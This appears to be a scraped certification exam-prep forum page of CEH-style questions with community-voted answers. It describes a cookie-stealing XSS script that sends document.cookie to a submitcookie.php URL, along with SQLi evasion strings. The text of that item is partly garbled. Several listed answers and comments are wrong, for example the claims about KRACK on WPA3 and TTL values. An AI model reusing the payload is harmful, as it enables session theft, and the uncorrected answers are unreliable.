Which phase of the vulnerability-management life cycle is David currently in?

- A. Remediation
- B. Verification
- C. Risk assessment
- D. Vulnerability scan

Correct Answer: A

Community vote distribution

A (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: A

- A. Remediation
upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: A

- A. Remediation
upvoted 1 times

✉️  **Vincent_Lu** 1 year, 3 months ago

- A. Remediation

Vulnerability Management Life Cycle

1. Identify assets and Creating Baseline
2. Vulnerability Scan
3. Risk Assessment
4. Remediation
5. Verification
6. Monitor

upvoted 3 times

✉️  **jeremy13** 1 year, 4 months ago

Selected Answer: A

- A. Remediation
12-50v11 Q214
upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: A

- A. Remediation

Explanation:

The vulnerability-management life cycle consists of several phases, including risk assessment, vulnerability scan, reporting, prioritization, remediation, and verification. The remediation phase is the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

In this phase, the organization takes actions to fix the identified vulnerabilities based on their severity and impact on the business. The remediation process includes the application of patches, the installation of updates, the configuration of settings, and the implementation of security controls to reduce the risk of exploitation.

upvoted 1 times

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.

Which of the following cloud attacks did Alice perform in the above scenario?

- A. Cloud cryptojacking
- B. Man-in-the-cloud (MITC) attack
- C. Cloud hopper attack
- D. Cludborne attack

Correct Answer: C

Community vote distribution

C (94%)	6%
---------	----

✉️  **jeremy13** Highly Voted 1 year, 5 months ago

Selected Answer: C

C. Cloud hopper attack
like 312-50v11 Q141
CEH book V12 Module19 P3155

Cloud hopper attacks are triggered at managed service providers (MSPs) and their customers. Once the attack is successfully implemented, attackers can gain remote access to the intellectual property and critical information of the target MSP and its global users/customers.

...
Attackers initiate spear-phishing emails with custom-made malware to compromise user accounts of staff members or cloud service firms to obtain confidential information.

...
Attackers breach the security mechanisms impersonating a valid service provider and gain complete access to corporate data of the enterprise and connected customers.

..
The attacker then extracts the information from the MSP and uses that information to launch further attacks on the target organization and users.
upvoted 6 times

✉️  **sausageman** Highly Voted 1 year, 5 months ago

Selected Answer: C

C. Cloud hopper attack
Book v12 Module 19 Page 1992

"Cloud hopper attacks are triggered at managed service providers (MSPs) and their customers. Once the attack is successfully implemented, attackers can gain remote access to the intellectual property and critical information of the target MSP and its global users/customers. Attackers also move laterally in the network from one system to another in the cloud environment to gain further access to sensitive data pertaining to the industrial entities, such as manufacturing, government bodies, healthcare, and finance"

upvoted 5 times

✉️  **remrey** Most Recent 2 months, 2 weeks ago

In the scenario you described, Alice performed a Man-in-the-cloud (MITC) attack. This type of attack involves compromising cloud services by gaining unauthorized access to user accounts and manipulating data stored in the cloud. Alice's actions of infiltrating the MSP provider, compromising user accounts, and using the cloud service to access and manipulate customer data align with the characteristics of a MITC attack.

Cloud cryptojacking, on the other hand, involves using cloud resources to mine cryptocurrency without the owner's consent, which is not what Alice did in this scenario.

upvoted 1 times

✉️  **LordXander** 6 months, 1 week ago

Selected Answer: C

It's C because B would require some data interception...and that is not mentioned
upvoted 1 times

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: C

C. Cloud hopper attack
upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: C

C. Cloud hopper attack

upvoted 2 times

✉️ **Vincent_Lu** 1 year, 3 months ago

C. Cloud hopper attack

-
- A. Cloud cryptojacking: Unauthorized mining of cryptocurrencies using cloud resources.
 - B. Man-in-the-cloud (MITC) attack: Unauthorized access and manipulation of cloud storage.
 - C. Cloud hopper attack: Targeting cloud service providers to access multiple client networks.
 - D. Cloudborne attack: Exploiting cloud infrastructure vulnerabilities to compromise data or resources.

upvoted 4 times

✉️ **victorfs** 1 year, 4 months ago

Selected Answer: C

The correct option is C.

Cloud hopper attack

upvoted 2 times

✉️ **eli117** 1 year, 5 months ago

Selected Answer: B

B. Man-in-the-cloud (MITC) attack

Explanation:

Alice performed a Man-in-the-cloud (MITC) attack on the target organization's cloud services. A MITC attack is a type of attack in which the attacker gains access to a user's cloud storage account and modifies or deletes data without the user's knowledge. In this case, Alice infiltrated the target's MSP provider by sending spear-phishing emails and distributing custom-made malware to compromise user accounts and gain remote access to the cloud service. She then accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. This allowed her to launch further attacks on the target organization.

upvoted 1 times

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write(': This HTML tag defines an image element. The src attribute normally points to the URL of the image to display.

"https://localhost/submitcookie.php?cookie=": This part of the src attribute is setting the path to a PHP file on the server running on localhost. The query string ?cookie= is used to pass data to the PHP file via a GET request.

+ escape(document.cookie): This JavaScript code appends the current document's cookies to the URL as part of the query string. The escape function is used to encode the cookies so that special characters are converted to a URL-encoded notation. This is necessary because cookies can contain characters that are not valid in URLs.

upvoted 4 times

✉ insaniumt 9 months, 1 week ago

Selected Answer: A

A. This php file silently executes the code and grabs the user's session cookie and session ID.

This script is used to steal cookies. It writes an image element into the HTML document, but the "src" attribute of the image is set to a malicious URL that includes the victim's cookies as part of the URL. When this URL is requested to load the image, it sends cookies to a server controlled by an attacker.

upvoted 1 times

✉ Vincent\_Lu 1 year, 3 months ago

A. This php file silently executes the code and grabs the user's session cookie and session ID.

upvoted 1 times

✉ kaben 1 year, 2 months ago

Would be nice if you could explain more the details of the script, I could not figure out the , 'user session cookie' & 'session ID' part in the script. Does the cookie provides both?

upvoted 1 times

✉ eli117 1 year, 5 months ago

Selected Answer: A

A. This PHP file silently executes the code and grabs the user's session cookie and session ID.

Explanation:

The code embedded behind the strange images posted by the user on the forum is a PHP file that runs in the background and steals the user's session cookies and session ID. The PHP script silently executes in the background, and the user may not be aware that their session has been compromised.

upvoted 2 times

✉ kaben 1 year, 2 months ago

Would be nice if you could explain more the details of the script, I could not figure out the , 'user session cookie' & 'session ID' part in the script. Does the cookie provides both?

upvoted 1 times

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for?

- A. Out of band and boolean-based
- B. Union-based and error-based
- C. Time-based and union-based
- D. Time-based and boolean-based

Correct Answer: B

*Community vote distribution*

D (90%)

10%

✉️  jeremy13 Highly Voted  1 year, 5 months ago

Selected Answer: D

D. Time-based and boolean-based

like 312-50V11 Q182

upvoted 5 times

✉️  g\_man\_rap Most Recent  5 months ago

D. Time-based and boolean-based: This option involves two techniques that are relevant to the described scenario. Time-based SQL injection is used to measure response time to determine true or false conditions, which fits Jane's requirements. Boolean-based SQL injection is used to send an SQL query that can be evaluated in a true or false context, which also matches what Jane is attempting to achieve.

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: D

well...it has the time word and the true and false words...there's only 1 option that has both

upvoted 1 times

✉️  Shubh\_shana 6 months, 3 weeks ago

chat GPT says option C i am really confused . anyone pls correct that problem

upvoted 1 times

✉️  insanaint 9 months, 1 week ago

Selected Answer: D

D. Time-based and boolean-based

upvoted 2 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

Time-based SQL Injection: This technique involves causing the database to delay its response, allowing the attacker to infer information based on the response time. By injecting malicious SQL code that includes time-delay functions (such as WAITFOR DELAY in Microsoft SQL Server or SLEEP() in MySQL), the attacker can observe whether the web application's response time changes, indicating a successful injection.

Union-based SQL Injection: This technique involves exploiting a vulnerability in the SQL query to manipulate the structure of the query and retrieve data from other database tables. The attacker uses the UNION SQL operator to combine the results of their malicious query with the original query extracting data from different tables and columns. The attacker can use boolean conditions to test whether certain conditions are true or false.

upvoted 2 times

✉️  angellory 1 year, 3 months ago

Answer B (Union-based and error base - sub category of IN-BAND SQLinjection)

<https://www.acunetix.com/websitetecurity/sql-injection2/>

Union-based SQLi: leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

D. Time-based and boolean-based

upvoted 2 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D

The correct option is D.

D. Time-based and boolean-based  
upvoted 3 times

✉️ Muli\_70 1 year, 4 months ago  
C. Time-based and union-based

Time-based injection would allow her to test the response time of a true or false response.

Union-based injection would allow her to use a second command to determine whether the database will return true or false results for user IDs.  
upvoted 2 times

✉️ sTaTiK 1 year, 5 months ago

Selected Answer: D

Time-based cuz is blind and yes or no its boolean.  
upvoted 2 times

✉️ sausageman 1 year, 5 months ago

Selected Answer: D

D. Time-based and boolean-based  
upvoted 3 times

✉️ eli117 1 year, 5 months ago

Selected Answer: A

A. Out of band and boolean-based.

Out of band SQL injection involves using an out-of-band (OOB) channel to communicate with the attacker's system. The attacker typically uses this method when the vulnerable application is unable to retrieve data from the database and display it on the web page. The OOB channel can be used to retrieve the data from the database and send it to the attacker's system.

Boolean-based SQL injection involves using true or false conditions to infer information about the database. This method involves injecting SQL statements that force the database to return a true or false response, depending on whether the statement is correct or not. By analyzing the response, an attacker can determine whether the injected SQL statement was executed or not.

upvoted 2 times

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL <https://xyz.com/feed.php?url=externalsite.com/feed/to> to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.

What is the type of attack Jason performed in the above scenario?

- A. Web server misconfiguration
- B. Server-side request forgery (SSRF) attack
- C. Web cache poisoning attack
- D. Website defacement

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: B

B. Server-side request forgery (SSRF) attack  
upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

B. Server-side request forgery (SSRF) attack  
upvoted 1 times

✉️  **victorfs** 1 year, 4 months ago

Selected Answer: B

The correct option is B.  
SSRF  
upvoted 1 times

✉️  **jeremy13** 1 year, 5 months ago

Selected Answer: B

B. Server-side request forgery (SSRF) attack  
Like : 312-50v11 Q11  
Book CEH V12 : Module14 P1948

SSRF vulnerabilities evolve in the following manner. Generally, server-side requests are initiated to obtain information from an external resource and feed it into an application. For instance, a designer can utilize a URL such as <https://xyz.com/feed.php?url=externalsite.com/feed/to> to obtain a remote feed. If attackers can alter the URL input to the localhost, then they can view all the local resources on the server.

upvoted 4 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

B. Server-side request forgery (SSRF) attack

Explanation:

In the given scenario, Jason performed a Server-side request forgery (SSRF) attack to gain access to backend servers that were protected by a firewall. In an SSRF attack, the attacker sends a request to a web server with a manipulated URL input that points to an external system controlled by the attacker. The web server processes the request, and the attacker can use this to access resources on the server that are not intended to be accessible.

In this case, the attacker used the URL input to obtain a remote feed and then manipulated the input to point to the local host, which allowed the attacker to view all local resources on the target server. By exploiting this vulnerability, the attacker could potentially gain access to sensitive information or even take control of the server.

upvoted 2 times

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.

What is the short-range wireless communication technology George employed in the above scenario?

- A. LPWAN
- B. MQTT
- C. NB-IoT
- D. Zigbee

Correct Answer: D

*Community vote distribution*

D (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. Zigbee

Explanation: George employed a short-range communication protocol based on the IEEE 203.15.4 standard, which is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m. Zigbee is a wireless communication technology that is designed for low-power, low-data-rate applications, and it operates on the IEEE 203.15.4 standard. Zigbee uses mesh networking, which means that each device in the network can act as a repeater to extend the network's range. This makes Zigbee an ideal technology for industrial systems that require secure and reliable communication over short distances.

upvoted 5 times

✉  g\_man\_rap Most Recent 5 months ago

A. LPWAN: Low Power Wide Area Network (LPWAN) is designed for long-range communications at a low bit rate. It is not based on IEEE 802.15.4, so this option does not match the scenario.

B. MQTT: MQTT stands for Message Queuing Telemetry Transport. It is a messaging protocol often used for the Internet of Things (IoT). It is not a wireless communication technology itself, but rather a protocol that can be used on top of various communication systems.

C. NB-IoT: Narrowband IoT (NB-IoT) is a standards-based low power wide area (LPWA) technology developed to enable a wide range of new IoT devices and services. NB-IoT is not based on IEEE 802.15.4; it uses a different standard.

D. Zigbee: Zigbee is a specification for a suite of high-level communication protocols using small, low-power digital radios based on the IEEE 802.15.4 standard for wireless personal area networks. Zigbee is typically used in low data rate applications that require long battery life and secure networking.

upvoted 1 times

✉  insaniant 9 months, 1 week ago

Selected Answer: D

D. Zigbee

upvoted 1 times

✉  Vincent\_Lu 1 year, 3 months ago

D. Zigbee

upvoted 1 times

✉  victorfs 1 year, 4 months ago

Selected Answer: D

The correct option is D.

Zigbee

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Zigbee

like 312-50v11 246

CEH BOOK Module 16 P2372

802.15.4 (ZigBee): The 802.15.4 standard has a low data rate and complexity.

upvoted 2 times

Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role. What is the technique employed by Eric to secure cloud resources?

- A. Demilitarized zone
- B. Zero trust network
- C. Serverless computing
- D. Container technology

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: B

B. Zero trust network  
upvoted 2 times

✉️  **chouchouam** 8 months, 2 weeks ago

hello i hope ure doing well did you pass the exam or not yet  
upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: B  
B. Zero trust network  
upvoted 2 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

B. Zero trust network  
upvoted 4 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

A zero trust network is a security model that assumes that every user, device, and application attempting to access the network is a potential threat regardless of whether they are inside or outside the network perimeter. It verifies every incoming connection before allowing access to the network and imposes strict conditions such as least privilege access, microsegmentation, and continuous monitoring.

In the given scenario, Eric implemented a technique for securing the cloud resources used by his organization that assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. He also imposed conditions such that employees can access only the resources required for their role. This is a typical example of the zero trust security model, which is designed to prevent unauthorized access to network resources and protect against potential security breaches.

upvoted 4 times

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption. Which of the following vulnerabilities is the promising to exploit?

- A. Cross-site request forgery
- B. Dragonblood
- C. Key reinstallation attack
- D. AP misconfiguration

Correct Answer: **B**

*Community vote distribution*

B (88%) 13%

✉  g\_man\_rap 5 months ago

A. Cross-site request forgery (CSRF): This is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It targets web applications and is not related to breaking wireless encryption.

B. Dragonblood: This is a vulnerability that was found in the WPA3 Wi-Fi security standard. It consists of a set of issues that affect WPA3's Simultaneous Authentication of Equals (SAE) handshake (also known as Dragonfly), which is a part of the protocol meant to improve upon the security of WPA2.

C. Key reinstallation attack (KRACK): This refers to a security flaw in the WPA2 protocol that allows attackers to intercept and decrypt Wi-Fi traffic between wireless devices and the targeted Wi-Fi network. This would not be relevant to WPA3, which is designed to mitigate such vulnerabilities that were present in WPA2.

D. AP misconfiguration: This refers to improper setup or configuration errors made on wireless access points. While this could potentially include errors in implementing WPA3, AP misconfiguration is a broad term that doesn't specifically target WPA3's encryption.

upvoted 3 times

✉  Vincent\_Lu 1 year, 3 months ago

B. Dragonblood

upvoted 2 times

✉  sausageman 1 year, 5 months ago

Selected Answer: B

B. Dragonblood

upvoted 1 times

✉  sausageman 1 year, 5 months ago

B. Dragonblood

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Dragonblood

Like 312-50v11 Q224

same as tc5899

CEH V12 Module16 P2510

upvoted 3 times

✉  tc5899 1 year, 5 months ago

Selected Answer: B

B- Dragonblood is a set of vulnerabilities in the WPA3 security standard that allows attackers to recover keys, downgrade security mechanisms, and launch various information-theft attacks

Attackers can use various tools, such as Dragonslayer, Dragonforce, Dragondrain, and Dragontime, to exploit these vulnerabilities and launch attacks on WPA3-enabled networks.

CEH v11 manual. pg. 2322

upvoted 3 times

✉  eli117 1 year, 5 months ago

Selected Answer: C

C. Key reinstallation attack

WPA3 is the latest encryption protocol for wireless networks and is considered more secure than its predecessor, WPA2. However, WPA3 is still susceptible to the Key Reinstallation Attack (KRACK), which is a vulnerability that allows attackers to intercept and manipulate network traffic.

In a KRACK attack, an attacker exploits a flaw in the WPA3 protocol that allows them to reinstall an already-in-use key. This can enable the attacker to decrypt, replay, or manipulate network traffic, which can compromise the security of the network.

upvoted 1 times

 **woohoolou** 1 year, 1 month ago

KRACK is for WPA2

upvoted 2 times

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

- A. White-hat hacking program
- B. Bug bounty program
- C. Ethical hacking program
- D. Vulnerability hunting program

Correct Answer: C

*Community vote distribution*

B (100%)

✉️  0ea2cf3 5 months, 3 weeks ago

B. There are a few answers on this site that are just wrong, this is 1 of them.  
upvoted 3 times

✉️  MustafaDDD 7 months, 1 week ago

Selected Answer: B  
B: Bug bounty program  
upvoted 1 times

✉️  sosindi 8 months ago

Selected Answer: B  
Bug bounty program  
upvoted 1 times

✉️  D15 8 months, 3 weeks ago

Selected Answer: B  
Definitely bug bounty  
upvoted 1 times

✉️  insaniumt 9 months, 1 week ago

Selected Answer: B  
B. Bug bounty program Most Voted

Ps: I don't know why "Ethical hacking program" is highlighted as the correct answer  
upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: B  
B. Bug bounty program

Bug bounty programs invite security researchers, often referred to as white-hat hackers, to find and responsibly disclose security vulnerabilities in exchange for monetary rewards or recognition. These programs provide an organized and controlled way for ethical hackers to contribute to the security of software and systems.

upvoted 1 times

✉️  kaben 1 year, 2 months ago

Selected Answer: B  
B. Bug bounty program  
<https://hackerone.com/security?type=team>  
upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

B. Bug bounty program  
upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: B  
The correct is option B.  
B. Bug bounty program  
upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Bug bounty program  
Like 312-50v11 Q158  
CEH book Module 14 P2186

A bug bounty program is a challenge or agreement hosted by organizations, websites, or software developers for tech-savvy individuals or ethical hackers to participate and break into their security to report the latest bugs and vulnerabilities

upvoted 2 times

 eli117 1 year, 5 months ago

Selected Answer: B

Answer: B

Explanation:

The common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne is a bug bounty program. These programs are designed to encourage security researchers and ethical hackers to report vulnerabilities they find in a company's systems, software, or hardware. Companies offer monetary rewards, recognition, or other incentives for researchers who report vulnerabilities that meet the criteria specified in the program. This helps companies to identify and address vulnerabilities before they can be exploited by malicious actors.

upvoted 2 times

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete. Which attack is being described here?

- A. Desynchronization
- B. Slowloris attack
- C. Session splicing
- D. Phlashing

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  **insaniunt** 9 months, 1 week ago

**Selected Answer: B**

B. Slowloris attack

This is a type of DDoS attack that targets the application layer of the OSI model, where common internet requests occur, such as HTTP GET and HTTP POST. This attack works by sending partial, but not complete, HTTP requests to the target server, and keeping many simultaneous connections open between the attacker and the target.

upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

B. Slowloris attack

- 
- A. Desynchronization: disrupts the synchronization between different components a system, so exploits the vulnerabilities that related to the synchronization of data or processes.
  - B. Slowloris attack: a type of denial-of-service (DoS) attack to web server. The attacker sends incomplete HTTP requests to the web server, keeping connections open to consume and exhaust resources to make web server unavailable.
  - C. Session splicing: attacker intercepts and combines parts of different sessions to gain unauthorized access or perform malicious actions. This attack typically targets web-based sessions, allowing the attacker to bypass authentication or gain access to sensitive information.
  - D. Phlashing: attack IOT devices to break its firmware or hardware to permanently disable a device or system.

upvoted 2 times

✉️  **jeremy13** 1 year, 5 months ago

**Selected Answer: B**

B. Slowloris attack

312-50v11 Q187

CEH book Module 10 P1452

Slowloris is a DDoS attack tool used to perform layer-7 DDoS attacks to take down web infrastructure. It is distinctly different from other tools in that it uses perfectly legitimate HTTP traffic to take down a target server. In Slowloris attacks, the attacker sends partial HTTP requests to the target web server or application. Upon receiving the partial requests, the target server opens multiple connections and waits for the requests to complete

upvoted 2 times

✉️  **eli117** 1 year, 5 months ago

**Selected Answer: B**

B. Slowloris attack.

Explanation: In a Slowloris attack, the attacker sends partial HTTP requests to the web infrastructure or applications. Upon receiving a partial request, the target server opens multiple connections and keeps waiting for the requests to complete. The attacker then sends a slow stream of subsequent requests that are never completed, which leads to resource exhaustion on the server, eventually causing it to crash or become unavailable. This attack is performed at layer 7 to take down web infrastructure.

upvoted 3 times

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.

Which of the following host discovery techniques must he use to perform the given task?

- A. UDP scan
- B. ARP ping scan
- C. ACK flag probe scan
- D. TCP Maimon scan

Correct Answer: C

*Community vote distribution*

B (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: B

B. ARP ping scan  
upvoted 1 times

✉️  **SailOn** 1 year ago

B. ARP ping scan  
this scenario is literally the use case described in CEH v12 course book  
upvoted 1 times

✉️  **woohoolou** 1 year, 1 month ago

Selected Answer: B

An ACK scan will let you know there is a stateful firewall in-line but will not give you details on the devices behind it.  
upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

B. ARP ping scan

A. UDP scan: Network scan using UDP packets to check port status on a target system.

B. ARP ping scan: Scan method using ARP requests to discover IP and MAC addresses in a local network.

C. ACK flag probe scan: TCP port scan using ACK flag to determine port status.

D. TCP Maimon scan: Port scan using specific flag combinations(Maimon Techniques), including SYN and FIN to determine port status.  
upvoted 2 times

✉️  **victorfs** 1 year, 4 months ago

Selected Answer: B

The correct option is B.  
B. ARP ping scan  
upvoted 1 times

✉️  **jeremy13** 1 year, 5 months ago

Selected Answer: B

B. ARP ping scan  
Like 312-50 V11 Q160  
CEH book V12 Module 03 P285

In the ARP ping scan, the ARP packets are sent for discovering all active devices in the IPv4 range even though the presence of such devices is hidden by restrictive firewalls.

upvoted 4 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

Answer: B

Explanation: To discover all the active devices hidden by a restrictive firewall in the IPv4 range, Andrew should use an ARP ping scan technique. ARP ping scan is an efficient and effective technique that enables a host to discover all the active hosts on the network, especially when it is difficult to identify devices using the traditional methods such as ICMP ping. ARP requests are used to check the existence of each device with a specific IP address within the network, and the devices with the corresponding MAC addresses reply with an ARP response. Therefore, by sending ARP requests to each IP address in a range, Andrew can identify all active devices within the network.

upvoted 4 times

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.

Which of the following tiers of the container technology architecture is Abel currently working in?

- A. Tier-1: Developer machines
- B. Tier-2: Testing and accreditation systems
- C. Tier-3: Registries
- D. Tier-4: Orchestrators

Correct Answer: C

*Community vote distribution*

B (92%) 8%

✉️  jeremy13 Highly Voted  1 year, 5 months ago

Selected Answer: B

B. Tier-2: Testing and accreditation systems

Like 312-50V11 Q174

CEH BOOK V12 Module 19 P3082

\* Tier-1: Developer machines - image creation, testing and accreditation

\* Tier-2: Testing and accreditation systems - verification and validation of image contents, signing images and sending them to the registries

\* Tier-3: Registries - storing images and disseminating images to the orchestrators based on requests

\* Tier-4: Orchestrators - transforming images into containers and deploying containers to hosts

\* Tier-5: Hosts - operating and managing containers as instructed by the orchestrator Module  
upvoted 8 times

✉️  g\_man\_rap Most Recent  5 months ago

Thus, the key tasks of signing images and managing their storage in registries are actions typically performed after the testing and accreditation phase has been completed, placing Abel's activities beyond Tier-2 in the container technology architecture workflow.

upvoted 1 times

✉️  insanint 9 months, 1 week ago

Selected Answer: B

B. Tier-2: Testing and accreditation systems

upvoted 1 times

✉️  VidiMidi 10 months, 3 weeks ago

The correct option is B.

B. Tier-2: Testing and accreditation systems

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

B. Tier-2: Testing and accreditation systems

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: B

The correct option is B.

B. Tier-2: Testing and accreditation systems

upvoted 1 times

✉️  sausageman 1 year, 5 months ago

Selected Answer: B

B. Tier-2: Testing and accreditation systems

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: C

Answer: C. Tier-3: Registries

Explanation:

The five-tier container technology architecture is as follows:

Tier-1: Developer machines: In this tier, developers build container images by including all the application dependencies and resources that are required to run the application.

Tier-2: Testing and accreditation systems: This tier is used to test the container images and ensure that they are free from vulnerabilities, errors, and other issues. This tier is also used for the approval of container images before they are sent to the registry.

Tier-3: Registries: This tier is used to store container images. These images can be shared across different environments and can be deployed to an cloud infrastructure.

Tier-4: Orchestrators: In this tier, container images are managed, scheduled, and deployed on cloud infrastructure.

Tier-5: Runtime: This tier is responsible for running the containers in the production environment.

upvoted 1 times

Henry is a cyber security specialist hired by BlackEye – Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS.

Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

- A. 128
- B. 255
- C. 64
- D. 138

Correct Answer: A

*Community vote distribution*

A (85%)

B (15%)

✉  **insaniunt** 9 months, 1 week ago

Selected Answer: A

A. 128

This is the default TTL value for the Windows operating system

upvoted 1 times

✉  **dvst8s64** 10 months, 2 weeks ago

Selected Answer: A

The common default TTL values are:

64 – Linux/MAC OSX systems.

128 – Windows systems.

255 – Network devices like routers.

<https://www.imperva.com/learn/performance/time-to-live-ttl/>

upvoted 3 times

✉  **ZacharyDriver** 1 year, 2 months ago

Selected Answer: A

A. 128

upvoted 1 times

✉  **Vincent\_Lu** 1 year, 3 months ago

A. 128

upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: A

The correct option is A.

128 for Windows OS

upvoted 1 times

✉  **sausageman** 1 year, 5 months ago

Selected Answer: A

A. 128

upvoted 2 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: A

A. 128

Like 312-50v11 Q206

CEH BOOK V12

Module 03 P 336

Windows = 128

<https://ostechnix.com/identify-operating-system-ttl-ping/>

upvoted 3 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: B

Explanation:

The TTL (Time to Live) value represents the maximum number of hops (routers) that a packet can take before being discarded or deemed expired. Each router that the packet traverses decrements the TTL value by one. In Unicornscan, a TTL value of 255 indicates that the target host is running Windows OS, while a value of 64 indicates a Linux/Unix OS. A value of 128 is often associated with network infrastructure devices such as routers and switches, while a value of 138 may indicate a NetBIOS session (a Windows protocol).

upvoted 2 times

 **kaben** 1 year, 2 months ago

Do you have a reference where it says 255TLL for Windows? (something similar to Jeremy13) 312-50v11 Q206

CEH BOOK V12

Module 03 P 336

upvoted 1 times

Question #87

Topic 1

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, [www.moviescope.com](http://www.moviescope.com). During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as "or '1'='1'" in any basic injection statement such as "or 1=1."

Identify the evasion technique used by Daniel in the above scenario.

- A. Char encoding
- B. IP fragmentation
- C. Variation
- D. Null byte

Correct Answer: C

*Community vote distribution*

C (100%)

 **jeremy13** Highly Voted  1 year, 5 months ago

Selected Answer: C

C. Variation

Like 312-50v11 Q190

CEH BOOK V12 Module 15 P2336

Evasion Technique: Variation Variation is an evasion technique whereby the attacker can easily evade any comparison statement. The attacker does this by placing characters such as "" or '1'='1'" in any basic injection statement such as "or 1=1" or with other accepted SQL comments. The SQL interprets this as a comparison between two strings or characters instead of two numeric values.

upvoted 6 times

 **insaniunt** Most Recent  9 months, 1 week ago

Selected Answer: C

C. Variation

Variation: An attacker uses this technique to easily evade any comparison statement

upvoted 1 times

 **eli117** 1 year, 5 months ago

Selected Answer: C

Answer: C. Variation

Explanation:

In the given scenario, Daniel is attempting to evade the IDS that detects SQL injection attempts based on predefined signatures. To bypass the detection mechanism, he used the variation technique. The variation technique is a method of altering the injection code so that it cannot be detected by an IDS. In this technique, an attacker alters the injection code, for example, by changing the case of letters or by adding extra characters or spaces to the code, to bypass the signature-based detection. By using the variation technique, the attacker can bypass the signature-based detection mechanisms, and the malicious code is executed on the targeted system.

upvoted 2 times

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.

Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

- A. In-band SQLi
- B. Union-based SQLi
- C. Out-of-band SQLi
- D. Time-based blind SQLi

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: C

C. Out-of-band SQLi

In Out-of-Band SQL injection, the attacker needs to communicate with the server and acquire features of the database server used by the web application

upvoted 2 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

